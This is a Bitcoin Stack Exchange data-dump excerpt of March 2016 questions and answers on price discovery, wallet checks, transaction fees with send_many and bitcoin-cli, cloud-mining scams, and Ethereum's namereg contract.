  <row Id="43505" PostTypeId="1" AcceptedAnswerId="43506" CreationDate="2016-03-28T01:55:57.677" Score="4" ViewCount="817" Body="&lt;p&gt;I have searched the Internet for solution but could not find the one I was looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get bitcoin price (in usd) without using any external website (meaning not getting the price using api or something) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to &quot;calculate&quot; it myself, since there are websites who display their bitcoin price and it's slightly different from other websites I guess they found the price from their own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the bitcoin price by myself? &lt;/p&gt;&#xA;" OwnerUserId="34299" LastEditorUserId="5406" LastEditDate="2020-07-06T15:10:53.380" LastActivityDate="2023-01-23T14:53:54.470" Title="How do I get bitcoin price without any external source?" Tags="|exchange-rate|price-discovery|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43506" PostTypeId="2" ParentId="43505" CreationDate="2016-03-28T02:13:24.863" Score="15" Body="&lt;p&gt;The bitcoin price is determined by a free market of buyers and sellers. There is no way to calculate the price on your own without an external source. I suppose the only exception to this would be if you ran your own bitcoin exchange and you had enough users and volume to produce a fair market price.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-03-28T02:13:24.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43507" PostTypeId="2" ParentId="43499" CreationDate="2016-03-28T07:52:17.610" Score="2" Body="&lt;p&gt;With Zebpay, you can sell directly and get your INR. You do not have to wait for a third party to buy your bitcoins like in a typical exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is same with Coinbase to sell and get USD.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sandeep Goenka, co-founder, Zebpay.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34302" LastActivityDate="2016-03-28T07:52:17.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43508" PostTypeId="1" CreationDate="2016-03-28T07:57:38.807" Score="1" ViewCount="854" Body="&lt;p&gt;I did a transaction back to my bitstamp account on 23.02.2016 but it has not been received. Transaction ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1886e0c49ba43a842043fc84358a05d3faf69468c1547e1d2ef3e030b929f834&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have the blockchain located on an external hardrive since it takes up so much space. Any help on how I can get the transaction to go through?&lt;/p&gt;&#xA;" OwnerUserId="34301" LastEditorUserId="6441" LastEditDate="2016-03-29T20:53:53.093" LastActivityDate="2016-03-29T21:25:40.577" Title="Transaction ID not found- Status still unconfirmed after a month?" Tags="|transactions|wallet|exchanges|bitstamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43509" PostTypeId="2" ParentId="43503" CreationDate="2016-03-28T09:07:28.963" Score="2" Body="&lt;p&gt;Thanks for all the visitors, which have thought about that.&#xA;I found now the solution for that problem. I use the blockchain.info API. There is an option to send to many addresses at the same time.&#xA;&lt;a href=&quot;https://github.com/blockchain/api-v1-client-python/blob/master/docs/wallet.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/api-v1-client-python/blob/master/docs/wallet.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34296" LastActivityDate="2016-03-28T09:07:28.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43510" PostTypeId="1" CreationDate="2016-03-28T10:15:41.463" Score="3" ViewCount="698" Body="&lt;p&gt;I'm not sure if my Bitcoin wallet is working, is there a way to check that it's ready to go? I'm using Breadwallet for iOS.&lt;/p&gt;&#xA;" OwnerUserId="34308" LastEditorUserId="5406" LastEditDate="2016-06-27T09:58:12.973" LastActivityDate="2016-06-27T09:58:12.973" Title="How can I tell if my Bitcoin wallet is working?" Tags="|breadwallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43512" PostTypeId="2" ParentId="43510" CreationDate="2016-03-28T15:35:10.303" Score="-2" Body="&lt;p&gt;If it's connected and synced, you're ready to go.&lt;/p&gt;&#xA;" OwnerUserId="34317" LastActivityDate="2016-03-28T15:35:10.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43513" PostTypeId="1" AcceptedAnswerId="43514" CreationDate="2016-03-28T18:10:50.723" Score="2" ViewCount="87" Body="&lt;p&gt;The blockchain.info api looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CvGd8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CvGd8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is: &lt;a href=&quot;https://github.com/blockchain/api-v1-client-python/blob/master/docs/wallet.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/blockchain/api-v1-client-python/blob/master/docs/wallet.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I give a fee like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add={'address1':amount1,'address2':amount2}&#xA;fee=5000&#xA;pay = wallet.send_many(recipients=add,fee=fee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will it then be 10000 (two times 5000) or will it be 5000?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers.&lt;/p&gt;&#xA;" OwnerUserId="34296" LastActivityDate="2016-03-28T18:32:08.777" Title="When I use the &quot;send_many()&quot; function in the blockchain.info api, have I to pay the fee only once or for each?" Tags="|transactions|blockchain.info|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43514" PostTypeId="2" ParentId="43513" CreationDate="2016-03-28T18:32:08.777" Score="3" Body="&lt;p&gt;You will pay the fee once, since it is one transaction with multiple outputs (thus only 5000). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, also read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22313/fees-for-bitcoind-sendmany-limits-for-number-of-end-addresses&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-03-28T18:32:08.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43515" PostTypeId="2" ParentId="43503" CreationDate="2016-03-28T18:43:29.137" Score="1" Body="&lt;p&gt;This is a classic issue with faucets and thus there are services that can help you with this. E.g. check &lt;a href=&quot;https://paytoshi.org/faq&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behind the scenes those services use send_many as you already found out.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-28T18:43:29.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43516" PostTypeId="2" ParentId="43505" CreationDate="2016-03-28T20:14:32.853" Score="9" Body="&lt;p&gt;You may be thinking with cause and effect reversed. The Bitcoin price being $300 does &lt;strong&gt;not&lt;/strong&gt; cause people to buy and sell at $300. Rather, people buying and selling at $300 causes the price to be $300.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, there is no way to find out what price people buy and sell bitcoins at without buying or selling bitcoins, or asking someone else who's buying or selling bitcoins, or asking an exchange that bitcoins get bought and sold through.&lt;/p&gt;&#xA;" OwnerUserId="15430" LastActivityDate="2016-03-28T20:14:32.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43517" PostTypeId="1" CreationDate="2016-03-28T21:42:37.693" Score="2" ViewCount="98" Body="&lt;p&gt;Would like to talk to the makers of bitcoin qt and bitcoin core. I have googled but cant find an email address or a way of contact!&lt;/p&gt;&#xA;" OwnerUserId="29370" LastActivityDate="2016-03-29T11:40:40.727" Title="Is there any way to contact the makers of bitcoin qt and bitcoin core?" Tags="|bitcoin-core|bitcoin-qt-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43519" PostTypeId="1" CreationDate="2016-03-28T22:34:34.703" Score="0" ViewCount="426" Body="&lt;p&gt;I was doing mining with Bitknock but they closed the website without informing us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't access my wallet. Here is my wallet address &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fnwg643zjnfwsqks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What must I do now? Should I acknowledge that I lost my Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="34331" LastEditorUserId="6441" LastEditDate="2016-03-30T02:31:20.867" LastActivityDate="2016-03-30T02:31:20.867" Title="I can't access my wallet at Bitknock cloud mining anymore" Tags="|wallet|lost-bitcoins|recover-private-key|cloud-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-03T21:41:54.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="43521" PostTypeId="2" ParentId="43517" CreationDate="2016-03-28T23:48:41.367" Score="5" Body="&lt;p&gt;It's open source software by many independently cooperating developers. The name is now Bitcoin Core, where bitcoin-qt is the GUI application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discussions happen on many forums and media, so it depends a little on what kind of message you want to send them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Official&quot; website: &lt;a href=&quot;https://bitcoincore.org/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoincore.org/&lt;/a&gt; and &lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All others I mention here are public media where many people participate, including some of the Core developers (not always by their real name). Always be wary of fake user IDs.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stackexchange: you found it already&lt;/li&gt;&#xA;&lt;li&gt;IRC: #bitcoin, #bitcoin-dev, ...&lt;/li&gt;&#xA;&lt;li&gt;Forum: &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reddit: &lt;a href=&quot;http://reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://reddit.com/r/bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Be careful that there are a lot of companies and groups with confusing names or even purposely misleading names, trying to give themselves credibility.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-03-29T11:40:40.727" LastActivityDate="2016-03-29T11:40:40.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43524" PostTypeId="2" ParentId="43519" CreationDate="2016-03-29T06:46:25.217" Score="2" Body="&lt;p&gt;Unfortunately, most of the &quot;&lt;em&gt;cloud mining&lt;/em&gt;&quot; websites are ponzi schemes trying to disguise themselves as a cloud mining contract provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kipicommunity.org/what-is-bitknock/&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; catagorizes Bitknock as a ponzi/scam dated back to November 2015. A little bit research could have made you aware of the dangers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally lost dozens of bitcoin in such projects, even if I joined only the most secure looking. General rule of thumb: If it looks too good to be true, don't buy it.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T06:46:25.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43525" PostTypeId="2" ParentId="43517" CreationDate="2016-03-29T06:54:37.133" Score="3" Body="&lt;p&gt;If your contact request is of a technical nature, you can also use the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/&quot; rel=&quot;nofollow&quot;&gt;github issue tracker&lt;/a&gt; and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/new&quot; rel=&quot;nofollow&quot;&gt;create a ticket&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/CONTRIBUTING.md&quot; rel=&quot;nofollow&quot;&gt;guidelines&lt;/a&gt; of reporting issues, interesting part quoted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firstly in terms of structure, there is no particular concept of “Core developers” in the sense of privileged people. Open source often naturally revolves around meritocracy where longer term contributors gain more trust from the developer community. However, some hierarchy is necessary for practical purposes. As such there are repository “maintainers” who are responsible for merging pull requests as well as a “lead maintainer” who is responsible for the release cycle, overall merging, moderation and appointment of maintainers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T06:54:37.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43526" PostTypeId="2" ParentId="43510" CreationDate="2016-03-29T07:01:29.603" Score="1" Body="&lt;p&gt;breadwallet is a standalone bitcoin client for mobile devices. There is no server which can get hacked or go offline, so you can always access the funds stored on your phone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4649/6441&quot;&gt;SPV mode&lt;/a&gt;, breadwallet connects directly to the bitcoin network with the fast performance you need on a mobile device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the wallet itself has no indicator for connections and does not synchronize the blockchain, I would suggest that you use a very tiny amount of Bitcoin and send it in a micro transaction to your breadwallet to test if you are set up and connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, did you backup your wallet yet?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-03-29T07:01:29.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43527" PostTypeId="2" ParentId="43498" CreationDate="2016-03-29T07:17:11.227" Score="2" Body="&lt;p&gt;Yes, the payouts can be send to your Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as with all cloud mining services, they would not offer that service if they would not make any profit with it. Instead of investing $ 2400 on life time 10 TH/s mining, have you considered just buying Bitcoin worth $ 2400?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to tell people to be cautious with such services and do the maths properly in advance. &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/calculator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Let me do it for you&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 TH/s, 2400 USD, 0 electricity, 0 fees:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cQSXV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQSXV.png&quot; alt=&quot;lose money in cloud&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would &lt;strong&gt;lose around 1562 USD&lt;/strong&gt; on that deal.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T07:17:11.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43528" PostTypeId="2" ParentId="40390" CreationDate="2016-03-29T07:39:21.787" Score="2" Body="&lt;p&gt;Ethereum achieves consensus using Proof-of-Work. This was true in the initial &quot;Olympic&quot; testnet (0.9), in the first &quot;Frontier&quot; release (1.0) and in the second &quot;Homestead&quot; release (1.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upcoming &quot;Metropolis&quot; release (1.2) will also keep the consensus to be achieved by Proof-of-Work. The used algorithm is called &lt;strong&gt;Ethash&lt;/strong&gt;, and it was &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Ethash&quot; rel=&quot;nofollow&quot;&gt;created specifically for Ethereum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to speculate about how the roadmap after that will be, but it is announced that at some point a release called &quot;Serenity&quot; will introduce a hardfork which updates the network to find consensus by utilizing Proof-of-Stake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Proof-of-Stake algorithm is still being developed by Vlad Zamfir and is called &lt;strong&gt;Casper&lt;/strong&gt;. which is a &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Ethash&quot; rel=&quot;nofollow&quot;&gt;security-deposit based economic consensus protocol&lt;/a&gt;. This means that nodes, so called &lt;em&gt;bonded validators&lt;/em&gt;, have to place a security deposit, an action called &lt;em&gt;bonding&lt;/em&gt;, in order to serve the consensus by producing blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Casper style proof of stake &lt;a href=&quot;https://blog.ethereum.org/2015/08/01/introducing-casper-friendly-ghost/&quot; rel=&quot;nofollow&quot;&gt;anyone can participate&lt;/a&gt; in block production by posting a bond. After posting a bond you have an opportunity to bet on which block will be included next. The incentives are such that you make money by betting with the eventual consensus and lose money by betting against the consensus. Any cryptographically provable misbehavior results in the forfeit of the bond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom line of this post, it's worth to note that the Ethereum network is poised with a &lt;strong&gt;difficulty bomb&lt;/strong&gt; which increases the difficulty exponential after a certain time of mining and it will hit around the beginning of 2017. This will make the network basicly stop mining if no hardfork to Proof-of-Stake or any other solution will be scheduled before.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T07:39:21.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43529" PostTypeId="1" AcceptedAnswerId="43531" CreationDate="2016-03-29T07:48:44.953" Score="0" ViewCount="158" Body="&lt;p&gt;Many times I see something like this &lt;code&gt;500K&lt;/code&gt; or &lt;code&gt;2Bytes&lt;/code&gt;.&#xA;What are those in bitcoin and how can I calculate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for this noob question ;)&lt;/p&gt;&#xA;" OwnerUserId="34296" LastActivityDate="2016-03-29T07:56:45.723" Title="What is 500K in Bitcoin?" Tags="|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43530" PostTypeId="2" ParentId="24653" CreationDate="2016-03-29T07:50:27.520" Score="0" Body="&lt;p&gt;The Ethereum network recently introduced a &lt;em&gt;global registrar object&lt;/em&gt; which is basicly a public smart contract on the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet of an ethereum client command line output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namereg: {&#xA;    address: &quot;0xc6d9d2cd449a754c494264e1809c50e34d64562b&quot;,&#xA;    AuctionEnded: function(),&#xA;    Changed: function(),&#xA;    NewBid: function(),&#xA;    PrimaryChanged: function(),&#xA;    Registrar: function(),&#xA;    addr: function(),&#xA;    allEvents: function(),&#xA;    content: function(),&#xA;    disown: function(),&#xA;    name: function(),&#xA;    owner: function(),&#xA;    reserve: function(),&#xA;    setAddress: function(),&#xA;    setContent: function(),&#xA;    setSubRegistrar: function(),&#xA;    subRegistrar: function(),&#xA;    transfer: function()&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The namereg contract allows associating human-comprehensible names with human-incomprehensible data. One of the use cases is creating a global address book for Ethereum addresses. Using a namereg contract, one may send ether to &quot;5chdn&quot; instead of &quot;0x&amp;lt;some hex value&amp;gt;&quot;. One may also register things like IPFS hashes, allowing one to use it as a decentralized DNS for a decentralized Web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test that, type in your geth console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;registrar = GlobalRegistrar.at('0xc6d9d2cd449a754c494264e1809c50e34d64562b');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set up your own name and give it a test: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;registrar.reserve.sendTransaction('thepiachu', {from: eth.accounts[0]});&#xA;registrar.setAddress.sendTransaction('thepiachu', eth.accounts[0], true, {from: eth.accounts[0]});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test, see if you can resolve &quot;thepiachu&quot; to your ethereum address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;registrar.addr('thepiachu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, whenever anyone want to send you some ether, you only need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eth.sendTransaction({from: eth.accounts[0], to: registrar.addr('thepiachu'), value: web3.toWei(1, 'ether'), gas: 21000});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to run the &lt;code&gt;GlobalRegistrar.at()&lt;/code&gt; line every time you start geth until this gets hard coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also replace the second parameter of &lt;code&gt;.setAddress()&lt;/code&gt; above with a contract's address to &quot;call it by name&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T07:50:27.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43531" PostTypeId="2" ParentId="43529" CreationDate="2016-03-29T07:56:45.723" Score="3" Body="&lt;p&gt;&lt;code&gt;k&lt;/code&gt; is &lt;a href=&quot;https://en.wikipedia.org/wiki/Kilo-&quot; rel=&quot;nofollow&quot;&gt;kilo&lt;/a&gt; and refers to 1,000. &lt;code&gt;500k&lt;/code&gt; are 500,000. This can have a lot of use cases, sometimes one wants to sell 500k Bitcoin (unlikely) and sometimes users refer to exchange rates in Satoshi: 500k Satoshi basicly mean you can buy something at the rate of 0.005 Bitcoin (&lt;code&gt;0.00500000&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;2Bytes&lt;/code&gt; are two &lt;a href=&quot;https://en.wikipedia.org/wiki/Byte&quot; rel=&quot;nofollow&quot;&gt;units of digital information&lt;/a&gt;. It tells you how much space is required to store two characters like &lt;code&gt;OK&lt;/code&gt; on a disk or in memory. 2 Bytes can be broken down into 16 Bit of plain binary information. I'm not sure in which context this could be related to anything Bitcoin-specific. Maybe you add an example reference.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-03-29T07:56:45.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43532" PostTypeId="1" AcceptedAnswerId="43601" CreationDate="2016-03-29T10:39:11.233" Score="5" ViewCount="4359" Body="&lt;p&gt;I'm trying to make a bitcoin website and I tried to implement a sort of 'withdraw' button which would allow you to send your money in the wallet address to some other address. The problem I am facing is that post-transaction it is taking making the address balance negative.&lt;/p&gt;&#xA;&lt;p&gt;This is the setup:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is bitcoind running in the background so I have one wallet on the server. It has a default account name of &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; (empty string) with some address.&lt;/li&gt;&#xA;&lt;li&gt;I generate a new address for each user in the wallet. Let's say each user gets his/her own account named &lt;code&gt;&amp;quot;user_1&amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;quot;user_2&amp;quot;&lt;/code&gt;, etc. I generate addresses by basically doing &lt;code&gt;bitcoin-cli getaccountaddress user_1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Users can deposit/withdraw money to/from this address.&lt;/li&gt;&#xA;&lt;li&gt;If I withdraw too much money from this address it'll make the address balance negative and I presume it is also taking out coins from the master account, i.e. the &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; account.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For the transfers I am using the following command &lt;code&gt;bitcoin-cli sendfrom user_1 &amp;lt;some_other_bitcoin_address&amp;gt; &amp;lt;amount&amp;gt; &amp;lt;min_confirmations&amp;gt; &amp;lt;comment&amp;gt; &amp;lt;comment_to&amp;gt;&lt;/code&gt;. If I truly pick more money than is available in the wallet then it'll error and tell me that I don't have enough balance. But in a certain edge case it goes through and make the address balance negative.&lt;/p&gt;&#xA;&lt;p&gt;I figure that there are two approaches to this solution:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;: Calculate the precise transaction fee and based on that fee make a check.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;: Use &lt;code&gt;bitcoin-cli move &amp;quot;&amp;quot; &amp;quot;user_1&amp;quot; &amp;lt;amount_that_is_negative&amp;gt;&lt;/code&gt; so it seems that the balance it not actually negative and that the site owner has decided to pay for the excess fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So basically, I need to solve the negative address balance problem and could also some clarification on the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to do #1? i.e. How to calculate the size of the transaction (in bytes) + transaction fee in advance?&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;bitcoin-cli settxfee &amp;lt;amount&amp;gt;&lt;/code&gt; seems to return true but the actual transaction fee that is applied to me was much higher. Why was this the case?&lt;/li&gt;&#xA;&lt;li&gt;I need to know more details about how the move command works. Is move an actual transaction that will incur transaction fees?&lt;/li&gt;&#xA;&lt;li&gt;Is option 2 a good option to hide/solve my problem?&lt;/li&gt;&#xA;&lt;li&gt;What are other options / correct implementation for implementing a withdraw button?&lt;/li&gt;&#xA;&lt;li&gt;Can &lt;code&gt;sendfrom&lt;/code&gt; take out money from other accounts other than the &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; account?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34170" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2019-07-08T23:04:44.400" Title="Transaction fees and transactions with bitcoin-cli. Wallet address balance negative" Tags="|bitcoind|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43535" PostTypeId="1" CreationDate="2016-03-29T14:47:29.327" Score="-1" ViewCount="128" Body="&lt;p&gt;Every time a hash is successfully created, a reward of 25 bitcoins is paid. Who pays this reward, and on what authority? How does this become legal tender? How is it not counterfeiting?&lt;/p&gt;&#xA;" OwnerUserId="34354" LastActivityDate="2016-03-30T00:37:02.147" Title="How is Bitcoin money?" Tags="|money|" AnswerCount="2" CommentCount="0" ClosedDate="2016-03-29T20:55:38.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="43536" PostTypeId="1" CreationDate="2016-03-29T15:33:56.777" Score="0" ViewCount="339" Body="&lt;p&gt;If I use the &lt;code&gt;sendmany();&lt;/code&gt; function is there a maximum of the output amount? &#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The maximum would be 0.01 BTC&#xA;&#xA;data={'address1':amount1,'address2':amount2};&#xA;&#xA;amount1+amount2 = 0.02 BTC&#xA;&#xA;-&amp;gt; But then it would be above the maximum.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="34296" LastEditorUserId="6256" LastEditDate="2016-03-29T21:45:06.433" LastActivityDate="2016-03-29T21:45:06.433" Title="What is the maximum amount I can send with &quot;sendmany()&quot;" Tags="|sending|sendtoaddress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43537" PostTypeId="2" ParentId="43535" CreationDate="2016-03-29T15:40:30.883" Score="0" Body="&lt;p&gt;No, there isn't any authority. Simply, the node that mined new block adds new special transaction that says &quot;miner has new 25 bitcoins to spend&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network, accepting the new block, accepts this reward to miner.&lt;/p&gt;&#xA;" OwnerUserId="34259" LastActivityDate="2016-03-29T15:40:30.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43538" PostTypeId="1" CreationDate="2016-03-29T16:30:11.997" Score="1" ViewCount="331" Body="&lt;p&gt;I plan to analyze soft forks to satisfy my own curiosity: how often do they occur, are they increasing in frequency, etc. Where can I find a record of blockchain soft forks? I'd love to find a handy webpage with the data, though I am running a full node if someone can walk me through generating the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Bruce&lt;/p&gt;&#xA;" OwnerUserId="32294" LastActivityDate="2016-03-29T20:39:06.327" Title="Where can I find a record of blockchain soft forks?" Tags="|blockchain|blockchain-fork|full-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
